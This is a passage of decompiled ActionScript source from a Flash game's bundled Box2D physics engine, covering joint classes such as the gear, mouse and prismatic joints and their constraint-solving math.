_local2 = (m_localAnchor1.x - m_body2.m_sweep.localCenter.x);
_local3 = (m_localAnchor1.y - m_body2.m_sweep.localCenter.y);
_local4 = ((_local1.col1.x * _local2) + (_local1.col2.x * _local3));
_local3 = ((_local1.col1.y * _local2) + (_local1.col2.y * _local3));
_local2 = _local4;
_local4 = ((m_force * m_J.angular2) - ((_local2 * (m_force * m_J.linear2.y)) - (_local3 * (m_force * m_J.linear2.x))));
return (_local4);
}
public function GetRatio():Number{
return (m_ratio);
}
override public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:Number;
var _local5:Number;
var _local6:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = m_J.Compute(_local2.m_linearVelocity, _local2.m_angularVelocity, _local3.m_linearVelocity, _local3.m_angularVelocity);
_local5 = ((-(_arg1.inv_dt) * m_mass) * _local4);
m_force = (m_force + _local5);
_local6 = (_arg1.dt * _local5);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + ((_local2.m_invMass * _local6) * m_J.linear1.x));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + ((_local2.m_invMass * _local6) * m_J.linear1.y));
_local2.m_angularVelocity = (_local2.m_angularVelocity + ((_local2.m_invI * _local6) * m_J.angular1));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + ((_local3.m_invMass * _local6) * m_J.linear2.x));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + ((_local3.m_invMass * _local6) * m_J.linear2.y));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_local3.m_invI * _local6) * m_J.angular2));
}
}
}//package Box2D.Dynamics.Joints
Section 53
//b2GearJointDef (Box2D.Dynamics.Joints.b2GearJointDef)
package Box2D.Dynamics.Joints {
public class b2GearJointDef extends b2JointDef {
public var joint2:b2Joint;
public var joint1:b2Joint;
public var ratio:Number;
public function b2GearJointDef(){
type = b2Joint.e_gearJoint;
joint1 = null;
joint2 = null;
ratio = 1;
}
}
}//package Box2D.Dynamics.Joints
Section 54
//b2Jacobian (Box2D.Dynamics.Joints.b2Jacobian)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
public class b2Jacobian {
public var linear1:b2Vec2;
public var linear2:b2Vec2;
public var angular2:Number;
public var angular1:Number;
public function b2Jacobian(){
linear1 = new b2Vec2();
linear2 = new b2Vec2();
super();
}
public function Set(_arg1:b2Vec2, _arg2:Number, _arg3:b2Vec2, _arg4:Number):void{
linear1.SetV(_arg1);
angular1 = _arg2;
linear2.SetV(_arg3);
angular2 = _arg4;
}
public function SetZero():void{
linear1.SetZero();
angular1 = 0;
linear2.SetZero();
angular2 = 0;
}
public function Compute(_arg1:b2Vec2, _arg2:Number, _arg3:b2Vec2, _arg4:Number):Number{
return ((((((linear1.x * _arg1.x) + (linear1.y * _arg1.y)) + (angular1 * _arg2)) + ((linear2.x * _arg3.x) + (linear2.y * _arg3.y))) + (angular2 * _arg4)));
}
}
}//package Box2D.Dynamics.Joints
Section 55
//b2Joint (Box2D.Dynamics.Joints.b2Joint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
public class b2Joint {
public var m_islandFlag:Boolean;
public var m_body1:b2Body;
public var m_prev:b2Joint;
public var m_next:b2Joint;
public var m_type:int;
public var m_collideConnected:Boolean;
public var m_node1:b2JointEdge;
public var m_node2:b2JointEdge;
public var m_inv_dt:Number;
public var m_userData;
public var m_body2:b2Body;
public static const e_unknownJoint:int = 0;
public static const e_inactiveLimit:int = 0;
public static const e_atUpperLimit:int = 2;
public static const e_atLowerLimit:int = 1;
public static const e_gearJoint:int = 6;
public static const e_revoluteJoint:int = 1;
public static const e_equalLimits:int = 3;
public static const e_distanceJoint:int = 3;
public static const e_pulleyJoint:int = 4;
public static const e_prismaticJoint:int = 2;
public static const e_mouseJoint:int = 5;
public function b2Joint(_arg1:b2JointDef){
m_node1 = new b2JointEdge();
m_node2 = new b2JointEdge();
super();
m_type = _arg1.type;
m_prev = null;
m_next = null;
m_body1 = _arg1.body1;
m_body2 = _arg1.body2;
m_collideConnected = _arg1.collideConnected;
m_islandFlag = false;
m_userData = _arg1.userData;
}
public function GetAnchor1():b2Vec2{
return (null);
}
public function GetAnchor2():b2Vec2{
return (null);
}
public function InitVelocityConstraints(_arg1:b2TimeStep):void{
}
public function GetType():int{
return (m_type);
}
public function GetBody2():b2Body{
return (m_body2);
}
public function GetNext():b2Joint{
return (m_next);
}
public function GetReactionTorque():Number{
return (0);
}
public function GetUserData(){
return (m_userData);
}
public function GetReactionForce():b2Vec2{
return (null);
}
public function SolvePositionConstraints():Boolean{
return (false);
}
public function SetUserData(_arg1):void{
m_userData = _arg1;
}
public function GetBody1():b2Body{
return (m_body1);
}
public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
}
public function InitPositionConstraints():void{
}
public static function Destroy(_arg1:b2Joint, _arg2):void{
}
public static function Create(_arg1:b2JointDef, _arg2):b2Joint{
var _local3:b2Joint;
_local3 = null;
switch (_arg1.type){
case e_distanceJoint:
_local3 = new b2DistanceJoint((_arg1 as b2DistanceJointDef));
break;
case e_mouseJoint:
_local3 = new b2MouseJoint((_arg1 as b2MouseJointDef));
break;
case e_prismaticJoint:
_local3 = new b2PrismaticJoint((_arg1 as b2PrismaticJointDef));
break;
case e_revoluteJoint:
_local3 = new b2RevoluteJoint((_arg1 as b2RevoluteJointDef));
break;
case e_pulleyJoint:
_local3 = new b2PulleyJoint((_arg1 as b2PulleyJointDef));
break;
case e_gearJoint:
_local3 = new b2GearJoint((_arg1 as b2GearJointDef));
break;
default:
break;
};
return (_local3);
}
}
}//package Box2D.Dynamics.Joints
Section 56
//b2JointDef (Box2D.Dynamics.Joints.b2JointDef)
package Box2D.Dynamics.Joints {
import Box2D.Dynamics.*;
public class b2JointDef {
public var collideConnected:Boolean;
public var body1:b2Body;
public var body2:b2Body;
public var userData;
public var type:int;
public function b2JointDef(){
type = b2Joint.e_unknownJoint;
userData = null;
body1 = null;
body2 = null;
collideConnected = false;
}
}
}//package Box2D.Dynamics.Joints
Section 57
//b2JointEdge (Box2D.Dynamics.Joints.b2JointEdge)
package Box2D.Dynamics.Joints {
import Box2D.Dynamics.*;
public class b2JointEdge {
public var joint:b2Joint;
public var other:b2Body;
public var next:b2JointEdge;
public var prev:b2JointEdge;
}
}//package Box2D.Dynamics.Joints
Section 58
//b2MouseJoint (Box2D.Dynamics.Joints.b2MouseJoint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Common.*;
public class b2MouseJoint extends b2Joint {
public var m_beta:Number;
public var m_mass:b2Mat22;
public var m_target:b2Vec2;
public var m_impulse:b2Vec2;
public var m_localAnchor:b2Vec2;
private var K1:b2Mat22;
private var K2:b2Mat22;
private var K:b2Mat22;
public var m_gamma:Number;
public var m_C:b2Vec2;
public var m_maxForce:Number;
public function b2MouseJoint(_arg1:b2MouseJointDef){
var _local2:Number;
var _local3:Number;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
K = new b2Mat22();
K1 = new b2Mat22();
K2 = new b2Mat22();
m_localAnchor = new b2Vec2();
m_target = new b2Vec2();
m_impulse = new b2Vec2();
m_mass = new b2Mat22();
m_C = new b2Vec2();
super(_arg1);
m_target.SetV(_arg1.target);
_local2 = (m_target.x - m_body2.m_xf.position.x);
_local3 = (m_target.y - m_body2.m_xf.position.y);
_local4 = m_body2.m_xf.R;
m_localAnchor.x = ((_local2 * _local4.col1.x) + (_local3 * _local4.col1.y));
m_localAnchor.y = ((_local2 * _local4.col2.x) + (_local3 * _local4.col2.y));
m_maxForce = _arg1.maxForce;
m_impulse.SetZero();
_local5 = m_body2.m_mass;
_local6 = ((2 * b2Settings.b2_pi) * _arg1.frequencyHz);
_local7 = (((2 * _local5) * _arg1.dampingRatio) * _local6);
_local8 = ((_arg1.timeStep * _local5) * (_local6 * _local6));
m_gamma = (1 / (_local7 + _local8));
m_beta = (_local8 / (_local7 + _local8));
}
override public function GetAnchor1():b2Vec2{
return (m_target);
}
override public function GetAnchor2():b2Vec2{
return (m_body2.GetWorldPoint(m_localAnchor));
}
override public function GetReactionForce():b2Vec2{
return (m_impulse);
}
override public function SolvePositionConstraints():Boolean{
return (true);
}
override public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
_local2 = m_body2;
_local3 = _local2.m_xf.R;
_local4 = (m_localAnchor.x - _local2.m_sweep.localCenter.x);
_local5 = (m_localAnchor.y - _local2.m_sweep.localCenter.y);
_local6 = ((_local3.col1.x * _local4) + (_local3.col2.x * _local5));
_local5 = ((_local3.col1.y * _local4) + (_local3.col2.y * _local5));
_local4 = _local6;
_local7 = _local2.m_invMass;
_local8 = _local2.m_invI;
K1.col1.x = _local7;
K1.col2.x = 0;
K1.col1.y = 0;
K1.col2.y = _local7;
K2.col1.x = ((_local8 * _local5) * _local5);
K2.col2.x = ((-(_local8) * _local4) * _local5);
K2.col1.y = ((-(_local8) * _local4) * _local5);
K2.col2.y = ((_local8 * _local4) * _local4);
K.SetM(K1);
K.AddM(K2);
K.col1.x = (K.col1.x + m_gamma);
K.col2.y = (K.col2.y + m_gamma);
K.Invert(m_mass);
m_C.x = ((_local2.m_sweep.c.x + _local4) - m_target.x);
m_C.y = ((_local2.m_sweep.c.y + _local5) - m_target.y);
_local2.m_angularVelocity = (_local2.m_angularVelocity * 0.98);
_local9 = (_arg1.dt * m_impulse.x);
_local10 = (_arg1.dt * m_impulse.y);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + (_local7 * _local9));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + (_local7 * _local10));
_local2.m_angularVelocity = (_local2.m_angularVelocity + (_local8 * ((_local4 * _local10) - (_local5 * _local9))));
}
override public function GetReactionTorque():Number{
return (0);
}
public function SetTarget(_arg1:b2Vec2):void{
if (m_body2.IsSleeping()){
m_body2.WakeUp();
};
m_target = _arg1;
}
override public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
_local2 = m_body2;
_local3 = _local2.m_xf.R;
_local6 = (m_localAnchor.x - _local2.m_sweep.localCenter.x);
_local7 = (m_localAnchor.y - _local2.m_sweep.localCenter.y);
_local4 = ((_local3.col1.x * _local6) + (_local3.col2.x * _local7));
_local7 = ((_local3.col1.y * _local6) + (_local3.col2.y * _local7));
_local6 = _local4;
_local8 = (_local2.m_linearVelocity.x + (-(_local2.m_angularVelocity) * _local7));
_local9 = (_local2.m_linearVelocity.y + (_local2.m_angularVelocity * _local6));
_local3 = m_mass;
_local4 = ((_local8 + ((m_beta * _arg1.inv_dt) * m_C.x)) + ((m_gamma * _arg1.dt) * m_impulse.x));
_local5 = ((_local9 + ((m_beta * _arg1.inv_dt) * m_C.y)) + ((m_gamma * _arg1.dt) * m_impulse.y));
_local10 = (-(_arg1.inv_dt) * ((_local3.col1.x * _local4) + (_local3.col2.x * _local5)));
_local11 = (-(_arg1.inv_dt) * ((_local3.col1.y * _local4) + (_local3.col2.y * _local5)));
_local12 = m_impulse.x;
_local13 = m_impulse.y;
m_impulse.x = (m_impulse.x + _local10);
m_impulse.y = (m_impulse.y + _local11);
_local14 = m_impulse.Length();
if (_local14 > m_maxForce){
m_impulse.Multiply((m_maxForce / _local14));
};
_local10 = (m_impulse.x - _local12);
_local11 = (m_impulse.y - _local13);
_local15 = (_arg1.dt * _local10);
_local16 = (_arg1.dt * _local11);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x + (_local2.m_invMass * _local15));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y + (_local2.m_invMass * _local16));
_local2.m_angularVelocity = (_local2.m_angularVelocity + (_local2.m_invI * ((_local6 * _local16) - (_local7 * _local15))));
}
}
}//package Box2D.Dynamics.Joints
Section 59
//b2MouseJointDef (Box2D.Dynamics.Joints.b2MouseJointDef)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
public class b2MouseJointDef extends b2JointDef {
public var frequencyHz:Number;
public var dampingRatio:Number;
public var maxForce:Number;
public var target:b2Vec2;
public var timeStep:Number;
public function b2MouseJointDef(){
target = new b2Vec2();
super();
type = b2Joint.e_mouseJoint;
maxForce = 0;
frequencyHz = 5;
dampingRatio = 0.7;
timeStep = (1 / 60);
}
}
}//package Box2D.Dynamics.Joints
Section 60
//b2PrismaticJoint (Box2D.Dynamics.Joints.b2PrismaticJoint)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Common.*;
public class b2PrismaticJoint extends b2Joint {
public var m_limitForce:Number;
public var m_refAngle:Number;
public var m_lowerTranslation:Number;
public var m_localXAxis1:b2Vec2;
public var m_torque:Number;
public var m_enableLimit:Boolean;
public var m_motorForce:Number;
public var m_force:Number;
public var m_localYAxis1:b2Vec2;
public var m_motorMass:Number;
public var m_maxMotorForce:Number;
public var m_localAnchor1:b2Vec2;
public var m_localAnchor2:b2Vec2;
public var m_angularMass:Number;
public var m_limitState:int;
public var m_linearMass:Number;
public var m_upperTranslation:Number;
public var m_motorJacobian:b2Jacobian;
public var m_limitPositionImpulse:Number;
public var m_motorSpeed:Number;
public var m_linearJacobian:b2Jacobian;
public var m_enableMotor:Boolean;
public function b2PrismaticJoint(_arg1:b2PrismaticJointDef){
var _local2:b2Mat22;
var _local3:Number;
var _local4:Number;
m_localAnchor1 = new b2Vec2();
m_localAnchor2 = new b2Vec2();
m_localXAxis1 = new b2Vec2();
m_localYAxis1 = new b2Vec2();
m_linearJacobian = new b2Jacobian();
m_motorJacobian = new b2Jacobian();
super(_arg1);
m_localAnchor1.SetV(_arg1.localAnchor1);
m_localAnchor2.SetV(_arg1.localAnchor2);
m_localXAxis1.SetV(_arg1.localAxis1);
m_localYAxis1.x = -(m_localXAxis1.y);
m_localYAxis1.y = m_localXAxis1.x;
m_refAngle = _arg1.referenceAngle;
m_linearJacobian.SetZero();
m_linearMass = 0;
m_force = 0;
m_angularMass = 0;
m_torque = 0;
m_motorJacobian.SetZero();
m_motorMass = 0;
m_motorForce = 0;
m_limitForce = 0;
m_limitPositionImpulse = 0;
m_lowerTranslation = _arg1.lowerTranslation;
m_upperTranslation = _arg1.upperTranslation;
m_maxMotorForce = _arg1.maxMotorForce;
m_motorSpeed = _arg1.motorSpeed;
m_enableLimit = _arg1.enableLimit;
m_enableMotor = _arg1.enableMotor;
}
override public function GetAnchor1():b2Vec2{
return (m_body1.GetWorldPoint(m_localAnchor1));
}
override public function GetAnchor2():b2Vec2{
return (m_body2.GetWorldPoint(m_localAnchor2));
}
public function EnableMotor(_arg1:Boolean):void{
m_enableMotor = _arg1;
}
public function GetUpperLimit():Number{
return (m_upperTranslation);
}
public function GetLowerLimit():Number{
return (m_lowerTranslation);
}
public function GetJointTranslation():Number{
var _local1:b2Body;
var _local2:b2Body;
var _local3:b2Mat22;
var _local4:b2Vec2;
var _local5:b2Vec2;
var _local6:Number;
var _local7:Number;
var _local8:b2Vec2;
var _local9:Number;
_local1 = m_body1;
_local2 = m_body2;
_local4 = _local1.GetWorldPoint(m_localAnchor1);
_local5 = _local2.GetWorldPoint(m_localAnchor2);
_local6 = (_local5.x - _local4.x);
_local7 = (_local5.y - _local4.y);
_local8 = _local1.GetWorldVector(m_localXAxis1);
_local9 = ((_local8.x * _local6) + (_local8.y * _local7));
return (_local9);
}
public function SetLimits(_arg1:Number, _arg2:Number):void{
m_lowerTranslation = _arg1;
m_upperTranslation = _arg2;
}
public function GetMotorSpeed():Number{
return (m_motorSpeed);
}
override public function GetReactionForce():b2Vec2{
var _local1:b2Mat22;
var _local2:Number;
var _local3:Number;
var _local4:Number;
var _local5:Number;
_local1 = m_body1.m_xf.R;
_local2 = (m_limitForce * ((_local1.col1.x * m_localXAxis1.x) + (_local1.col2.x * m_localXAxis1.y)));
_local3 = (m_limitForce * ((_local1.col1.y * m_localXAxis1.x) + (_local1.col2.y * m_localXAxis1.y)));
_local4 = (m_force * ((_local1.col1.x * m_localYAxis1.x) + (_local1.col2.x * m_localYAxis1.y)));
_local5 = (m_force * ((_local1.col1.y * m_localYAxis1.x) + (_local1.col2.y * m_localYAxis1.y)));
return (new b2Vec2(((m_limitForce * _local2) + (m_force * _local4)), ((m_limitForce * _local3) + (m_force * _local5))));
}
override public function SolvePositionConstraints():Boolean{
var _local1:Number;
var _local2:Number;
var _local3:b2Body;
var _local4:b2Body;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:b2Mat22;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:Number;
var _local27:Number;
var _local28:Number;
var _local29:Number;
var _local30:Number;
var _local31:Number;
var _local32:Number;
_local3 = m_body1;
_local4 = m_body2;
_local5 = _local3.m_invMass;
_local6 = _local4.m_invMass;
_local7 = _local3.m_invI;
_local8 = _local4.m_invI;
_local9 = _local3.m_xf.R;
_local11 = (m_localAnchor1.x - _local3.m_sweep.localCenter.x);
_local12 = (m_localAnchor1.y - _local3.m_sweep.localCenter.y);
_local10 = ((_local9.col1.x * _local11) + (_local9.col2.x * _local12));
_local12 = ((_local9.col1.y * _local11) + (_local9.col2.y * _local12));
_local11 = _local10;
_local9 = _local4.m_xf.R;
_local13 = (m_localAnchor2.x - _local4.m_sweep.localCenter.x);
_local14 = (m_localAnchor2.y - _local4.m_sweep.localCenter.y);
_local10 = ((_local9.col1.x * _local13) + (_local9.col2.x * _local14));
_local14 = ((_local9.col1.y * _local13) + (_local9.col2.y * _local14));
_local13 = _local10;
_local15 = (_local3.m_sweep.c.x + _local11);
_local16 = (_local3.m_sweep.c.y + _local12);
_local17 = (_local4.m_sweep.c.x + _local13);
_local18 = (_local4.m_sweep.c.y + _local14);
_local19 = (_local17 - _local15);
_local20 = (_local18 - _local16);
_local9 = _local3.m_xf.R;
_local21 = ((_local9.col1.x * m_localYAxis1.x) + (_local9.col2.x * m_localYAxis1.y));
_local22 = ((_local9.col1.y * m_localYAxis1.x) + (_local9.col2.y * m_localYAxis1.y));
_local23 = ((_local21 * _local19) + (_local22 * _local20));
_local23 = b2Math.b2Clamp(_local23, -(b2Settings.b2_maxLinearCorrection), b2Settings.b2_maxLinearCorrection);
_local24 = (-(m_linearMass) * _local23);
_local3.m_sweep.c.x = (_local3.m_sweep.c.x + ((_local5 * _local24) * m_linearJacobian.linear1.x));
_local3.m_sweep.c.y = (_local3.m_sweep.c.y + ((_local5 * _local24) * m_linearJacobian.linear1.y));
_local3.m_sweep.a = (_local3.m_sweep.a + ((_local7 * _local24) * m_linearJacobian.angular1));
_local4.m_sweep.c.x = (_local4.m_sweep.c.x + ((_local6 * _local24) * m_linearJacobian.linear2.x));
_local4.m_sweep.c.y = (_local4.m_sweep.c.y + ((_local6 * _local24) * m_linearJacobian.linear2.y));
_local4.m_sweep.a = (_local4.m_sweep.a + ((_local8 * _local24) * m_linearJacobian.angular2));
_local25 = b2Math.b2Abs(_local23);
_local26 = ((_local4.m_sweep.a - _local3.m_sweep.a) - m_refAngle);
_local26 = b2Math.b2Clamp(_local26, -(b2Settings.b2_maxAngularCorrection), b2Settings.b2_maxAngularCorrection);
_local27 = (-(m_angularMass) * _local26);
_local3.m_sweep.a = (_local3.m_sweep.a - (_local3.m_invI * _local27));
_local4.m_sweep.a = (_local4.m_sweep.a + (_local4.m_invI * _local27));
_local3.SynchronizeTransform();
_local4.SynchronizeTransform();
_local28 = b2Math.b2Abs(_local26);
if (((m_enableLimit) && (!((m_limitState == e_inactiveLimit))))){
_local9 = _local3.m_xf.R;
_local11 = (m_localAnchor1.x - _local3.m_sweep.localCenter.x);
_local12 = (m_localAnchor1.y - _local3.m_sweep.localCenter.y);
_local10 = ((_local9.col1.x * _local11) + (_local9.col2.x * _local12));
_local12 = ((_local9.col1.y * _local11) + (_local9.col2.y * _local12));
_local11 = _local10;
_local9 = _local4.m_xf.R;
_local13 = (m_localAnchor2.x - _local4.m_sweep.localCenter.x);
_local14 = (m_localAnchor2.y - _local4.m_sweep.localCenter.y);
_local10 = ((_local9.col1.x * _local13) + (_local9.col2.x * _local14));
_local14 = ((_local9.col1.y * _local13) + (_local9.col2.y * _local14));
_local13 = _local10;
_local15 = (_local3.m_sweep.c.x + _local11);
_local16 = (_local3.m_sweep.c.y + _local12);
_local17 = (_local4.m_sweep.c.x + _local13);
_local18 = (_local4.m_sweep.c.y + _local14);
_local19 = (_local17 - _local15);
_local20 = (_local18 - _local16);
_local9 = _local3.m_xf.R;
_local29 = ((_local9.col1.x * m_localXAxis1.x) + (_local9.col2.x * m_localXAxis1.y));
_local30 = ((_local9.col1.y * m_localXAxis1.x) + (_local9.col2.y * m_localXAxis1.y));
_local31 = ((_local29 * _local19) + (_local30 * _local20));
_local32 = 0;
if (m_limitState == e_equalLimits){
_local1 = b2Math.b2Clamp(_local31, -(b2Settings.b2_maxLinearCorrection), b2Settings.b2_maxLinearCorrection);
_local32 = (-(m_motorMass) * _local1);
_local25 = b2Math.b2Max(_local25, b2Math.b2Abs(_local26));
} else {
if (m_limitState == e_atLowerLimit){
_local1 = (_local31 - m_lowerTranslation);
_local25 = b2Math.b2Max(_local25, -(_local1));
_local1 = b2Math.b2Clamp((_local1 + b2Settings.b2_linearSlop), -(b2Settings.b2_maxLinearCorrection), 0);
_local32 = (-(m_motorMass) * _local1);
_local2 = m_limitPositionImpulse;
m_limitPositionImpulse = b2Math.b2Max((m_limitPositionImpulse + _local32), 0);
_local32 = (m_limitPositionImpulse - _local2);
} else {
if (m_limitState == e_atUpperLimit){
_local1 = (_local31 - m_upperTranslation);
_local25 = b2Math.b2Max(_local25, _local1);
_local1 = b2Math.b2Clamp((_local1 - b2Settings.b2_linearSlop), 0, b2Settings.b2_maxLinearCorrection);
_local32 = (-(m_motorMass) * _local1);
_local2 = m_limitPositionImpulse;
m_limitPositionImpulse = b2Math.b2Min((m_limitPositionImpulse + _local32), 0);
_local32 = (m_limitPositionImpulse - _local2);
};
};
};
_local3.m_sweep.c.x = (_local3.m_sweep.c.x + ((_local5 * _local32) * m_motorJacobian.linear1.x));
_local3.m_sweep.c.y = (_local3.m_sweep.c.y + ((_local5 * _local32) * m_motorJacobian.linear1.y));
_local3.m_sweep.a = (_local3.m_sweep.a + ((_local7 * _local32) * m_motorJacobian.angular1));
_local4.m_sweep.c.x = (_local4.m_sweep.c.x + ((_local6 * _local32) * m_motorJacobian.linear2.x));
_local4.m_sweep.c.y = (_local4.m_sweep.c.y + ((_local6 * _local32) * m_motorJacobian.linear2.y));
_local4.m_sweep.a = (_local4.m_sweep.a + ((_local8 * _local32) * m_motorJacobian.angular2));
_local3.SynchronizeTransform();
_local4.SynchronizeTransform();
};
return ((((_local25 <= b2Settings.b2_linearSlop)) && ((_local28 <= b2Settings.b2_angularSlop))));
}
public function GetJointSpeed():Number{
var _local1:b2Body;
var _local2:b2Body;
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:b2Vec2;
var _local16:b2Vec2;
var _local17:b2Vec2;
var _local18:Number;
var _local19:Number;
var _local20:Number;
_local1 = m_body1;
_local2 = m_body2;
_local3 = _local1.m_xf.R;
_local4 = (m_localAnchor1.x - _local1.m_sweep.localCenter.x);
_local5 = (m_localAnchor1.y - _local1.m_sweep.localCenter.y);
_local6 = ((_local3.col1.x * _local4) + (_local3.col2.x * _local5));
_local5 = ((_local3.col1.y * _local4) + (_local3.col2.y * _local5));
_local4 = _local6;
_local3 = _local2.m_xf.R;
_local7 = (m_localAnchor2.x - _local2.m_sweep.localCenter.x);
_local8 = (m_localAnchor2.y - _local2.m_sweep.localCenter.y);
_local6 = ((_local3.col1.x * _local7) + (_local3.col2.x * _local8));
_local8 = ((_local3.col1.y * _local7) + (_local3.col2.y * _local8));
_local7 = _local6;
_local9 = (_local1.m_sweep.c.x + _local4);
_local10 = (_local1.m_sweep.c.y + _local5);
_local11 = (_local2.m_sweep.c.x + _local7);
_local12 = (_local2.m_sweep.c.y + _local8);
_local13 = (_local11 - _local9);
_local14 = (_local12 - _local10);
_local15 = _local1.GetWorldVector(m_localXAxis1);
_local16 = _local1.m_linearVelocity;
_local17 = _local2.m_linearVelocity;
_local18 = _local1.m_angularVelocity;
_local19 = _local2.m_angularVelocity;
_local20 = (((_local13 * (-(_local18) * _local15.y)) + (_local14 * (_local18 * _local15.x))) + ((_local15.x * (((_local17.x + (-(_local19) * _local8)) - _local16.x) - (-(_local18) * _local5))) + (_local15.y * (((_local17.y + (_local19 * _local7)) - _local16.y) - (_local18 * _local4)))));
return (_local20);
}
public function SetMotorSpeed(_arg1:Number):void{
m_motorSpeed = _arg1;
}
override public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:Number;
var _local27:Number;
var _local28:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = _local2.m_xf.R;
_local6 = (m_localAnchor1.x - _local2.m_sweep.localCenter.x);
_local7 = (m_localAnchor1.y - _local2.m_sweep.localCenter.y);
_local5 = ((_local4.col1.x * _local6) + (_local4.col2.x * _local7));
_local7 = ((_local4.col1.y * _local6) + (_local4.col2.y * _local7));
_local6 = _local5;
_local4 = _local3.m_xf.R;
_local8 = (m_localAnchor2.x - _local3.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local3.m_sweep.localCenter.y);
_local5 = ((_local4.col1.x * _local8) + (_local4.col2.x * _local9));
_local9 = ((_local4.col1.y * _local8) + (_local4.col2.y * _local9));
_local8 = _local5;
_local10 = _local2.m_invMass;
_local11 = _local3.m_invMass;
_local12 = _local2.m_invI;
_local13 = _local3.m_invI;
_local4 = _local2.m_xf.R;
_local14 = ((_local4.col1.x * m_localYAxis1.x) + (_local4.col2.x * m_localYAxis1.y));
_local15 = ((_local4.col1.y * m_localYAxis1.x) + (_local4.col2.y * m_localYAxis1.y));
_local16 = ((_local3.m_sweep.c.x + _local8) - _local2.m_sweep.c.x);
_local17 = ((_local3.m_sweep.c.y + _local9) - _local2.m_sweep.c.y);
m_linearJacobian.linear1.x = -(_local14);
m_linearJacobian.linear1.y = -(_local15);
m_linearJacobian.linear2.x = _local14;
m_linearJacobian.linear2.y = _local15;
m_linearJacobian.angular1 = -(((_local16 * _local15) - (_local17 * _local14)));
m_linearJacobian.angular2 = ((_local8 * _local15) - (_local9 * _local14));
m_linearMass = (((_local10 + ((_local12 * m_linearJacobian.angular1) * m_linearJacobian.angular1)) + _local11) + ((_local13 * m_linearJacobian.angular2) * m_linearJacobian.angular2));
m_linearMass = (1 / m_linearMass);
m_angularMass = (_local12 + _local13);
if (m_angularMass > Number.MIN_VALUE){
m_angularMass = (1 / m_angularMass);
};
if (((m_enableLimit) || (m_enableMotor))){
_local4 = _local2.m_xf.R;
_local18 = ((_local4.col1.x * m_localXAxis1.x) + (_local4.col2.x * m_localXAxis1.y));
_local19 = ((_local4.col1.y * m_localXAxis1.x) + (_local4.col2.y * m_localXAxis1.y));
m_motorJacobian.linear1.x = -(_local18);
m_motorJacobian.linear1.y = -(_local19);
m_motorJacobian.linear2.x = _local18;
m_motorJacobian.linear2.y = _local19;
m_motorJacobian.angular1 = -(((_local16 * _local19) - (_local17 * _local18)));
m_motorJacobian.angular2 = ((_local8 * _local19) - (_local9 * _local18));
m_motorMass = (((_local10 + ((_local12 * m_motorJacobian.angular1) * m_motorJacobian.angular1)) + _local11) + ((_local13 * m_motorJacobian.angular2) * m_motorJacobian.angular2));
m_motorMass = (1 / m_motorMass);
if (m_enableLimit){
_local20 = (_local16 - _local6);
_local21 = (_local17 - _local7);
_local22 = ((_local18 * _local20) + (_local19 * _local21));
if (b2Math.b2Abs((m_upperTranslation - m_lowerTranslation)) < (2 * b2Settings.b2_linearSlop)){
m_limitState = e_equalLimits;
} else {
if (_local22 <= m_lowerTranslation){
if (m_limitState != e_atLowerLimit){
m_limitForce = 0;
};
m_limitState = e_atLowerLimit;
} else {
if (_local22 >= m_upperTranslation){
if (m_limitState != e_atUpperLimit){
m_limitForce = 0;
};
m_limitState = e_atUpperLimit;
} else {
m_limitState = e_inactiveLimit;
m_limitForce = 0;
};
};
};
};
};
if (m_enableMotor == false){
m_motorForce = 0;
};
if (m_enableLimit == false){
m_limitForce = 0;
};
if (_arg1.warmStarting){
_local23 = (_arg1.dt * ((m_force * m_linearJacobian.linear1.x) + ((m_motorForce + m_limitForce) * m_motorJacobian.linear1.x)));
